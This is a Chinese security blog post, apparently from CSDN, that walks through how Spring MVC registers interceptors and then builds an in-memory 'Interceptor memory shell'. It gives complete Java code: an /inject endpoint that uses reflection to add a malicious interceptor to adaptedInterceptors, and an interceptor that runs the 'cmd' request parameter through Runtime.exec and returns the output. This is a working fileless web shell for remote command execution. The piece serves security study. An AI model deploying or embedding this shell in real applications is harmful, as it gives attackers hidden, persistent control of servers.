[Java安全]—Interceptor内存马

文章首发于先知社区:浅析Spring类内存马

环境搭建

依赖

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-webmvc</artifactId>
    <version>5.3.22</version>
</dependency>

<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>servlet-api</artifactId>
    <version>2.5</version>
</dependency>

web.xml

<servlet>
    <servlet-name>SpringMVC</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>classpath:SpringMVC.xml</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
    <servlet-name>SpringMVC</servlet-name>
    <url-pattern>/</url-pattern>
</servlet-mapping>

SpringMVC.xml

<context:component-scan base-package="com.sentiment"/>
<!--配置视图解析器-->
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
    <!--配置前缀-->
    <property name="prefix" value="/"></property>
    <!--配置后缀-->
    <property name="suffix" value=".jsp"></property>
</bean>
<mvc:annotation-driven />
<mvc:interceptors>
    <mvc:interceptor>
        <mvc:mapping path="/demo"/>
        <ref bean="InterceptorTest"/>
    </mvc:interceptor>
</mvc:interceptors>

<mvc:interceptors>设置需要拦截的请求,这里拦截的是/demo请求,拦截器时自己定义的InterceptorTest

前置知识

Interceptor

Interceptor拦截器相当于一个过滤,就是在发送某个请求前对其进行一定的拦截过滤。拦截器用于拦截控制器方法的执行,需要实现HandlerInterceptor,并且必须在SpingMVC的配置文件中进行配置

拦截过程

1、程序先执行preHandle()方法,如果该方法的返回值为true,则程序会继续向下执行处理器中的方法,否则将不再向下执行;

2、控制器Controller类处理完请求后,会执行postHandle()方法,然后会通过DispatcherServlet向客户端返回响应;

3、在DispatcherServlet处理完请求后,才会执行afterCompletion()方法。

Demo

控制器

@RestController
public class HelloController {
    @RequestMapping("/demo")
    public String hello(Model model){
        model.addAttribute("name","Hello,Sentiemnt!");
        return "Hello,Sentiment!";
    }
}

拦截器

@Component("InterceptorTest")
public class InterceptorTest implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        System.out.println("preHandle执行了....");
        return true;
    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        System.out.println("postHandle执行了...");
    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
        System.out.println("afterCompletion执行了....");
    }
}

当发起/demo请求时,则会执行自定义的拦截器,如果preHandle返回值为true则会继续向下执行另外两个
在这里插入图片描述

调试后发现在doDispatch#applyPreHandle调用了preHandle,所以如果我们需要注册拦截的话一定是在这之前
在这里插入图片描述

注册流程

首先是调用的是processedRequest = checkMultipart(request);,主要判断request是否为文件上传请求,不是的话则会原样返回

接着就是mappedHandler = this.getHandler(processedRequest);将getHandler()执行后的结果返回给mappedHandler
在这里插入图片描述

跟进getHandler,获取HandlerMapping,并继续调用getHandler()

protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
    if (this.handlerMappings != null) {
        Iterator var2 = this.handlerMappings.iterator();

        while(var2.hasNext()) {
            HandlerMapping mapping = (HandlerMapping)var2.next();
            HandlerExecutionChain handler = mapping.getHandler(request);
            if (handler != null) {
                return handler;
            }
        }
    }

继续跟进,在下边会调用getHandlerExecutionChain(),其中会遍历 this.adaptedInterceptors 对象里所有的 HandlerInterceptor 类实例,通过 chain.addInterceptor 把已有的所有拦截器加入到需要返回的 HandlerExecutionChain exectuion 属性中,完成注册
在这里插入图片描述

之后就是通过一级级的retrun 将值返回给**mappedHandler**,并通过上边提到的mappedHandler.applyPreHandle()调用PreHandle()

注册

通过上边的分析,下面就需要我们把注入内容添加到adaptedInterceptors中,而获取前需要先获取上下文,adaptedInterceptors属性是AbstractHandlerMapping类的,而该类可以通过controller内存马中提到的RequestMappingHandlerMappingDefaultAnnotationHandlerMapping获取,所以在SpringMVC.xml中加上<mvc:annotation-driven />即可
在这里插入图片描述

// 1. 获取上下文环境
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE", 0);

// 2. 通过上下文获取RequestMappingHandlerMapping
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)context.getBean("");

之后通过反射获取adaptedInterceptors属性

// 3、反射获取adaptedInterceptors属性
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
ArrayList<HandlerInterceptor> adaptedInterceptors = (ArrayList<HandlerInterceptor>)field.get(mappingHandlerMapping);

最后将我们自定义的内存马,添加到属性中

//4、生成MappedInterceptor对象
MappedInterceptor mappedInterceptor = new MappedInterceptor(null,null,new InjectInterceptor());

// 5、添加到adaptedInterceptors中
adaptedInterceptors.add(mappedInterceptor); 

内存马构造

package com.sentiment.controller;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.handler.MappedInterceptor;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.util.ArrayList;

@RestController
public class InterceptorShell{
    @RequestMapping(value = "/inject", method = RequestMethod.GET)
    public String inject() throws NoSuchMethodException, NoSuchFieldException, IllegalAccessException {
        try{
            // 1. 获取上下文环境
            WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

            // 2. 通过上下文获取RequestMappingHandlerMapping
            RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

            // 3、反射获取adaptedInterceptors属性
            Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            ArrayList<HandlerInterceptor> adaptedInterceptors = (ArrayList<HandlerInterceptor>)field.get(mappingHandlerMapping);

            //4、生成MappedInterceptor对象
            MappedInterceptor mappedInterceptor = new MappedInterceptor(null,null,new InjectInterceptor());

            // 5、添加到adaptedInterceptors中
            adaptedInterceptors.add(mappedInterceptor);

            return "Inject Success!";
        } catch (Exception e) {
            return "Inject Failed!";
        }
    }
}

class InjectInterceptor implements HandlerInterceptor {

    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        InputStreamReader isr = new InputStreamReader(is, "UTF-8");
        BufferedReader br = new BufferedReader(isr);
        String str = "";
        String line = "";

        while ((line = br.readLine())!=null){
            str+=line;
        }
        is.close();
        br.close();
        response.getWriter().write(str);
        return false;
    }
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
    }

    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
    }
}

访问inject后生成内存马,成功执行命令
在这里插入图片描述

参考链接

LandGrey’s Blog

初探DispatcherServlet#doDispatch - Zh1z3ven - 博客园 (cnblogs.com)

java内存马分析集合 - 先知社区 (aliyun.com)

初探Java安全之Spring内存马 - 先知社区 (aliyun.com)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值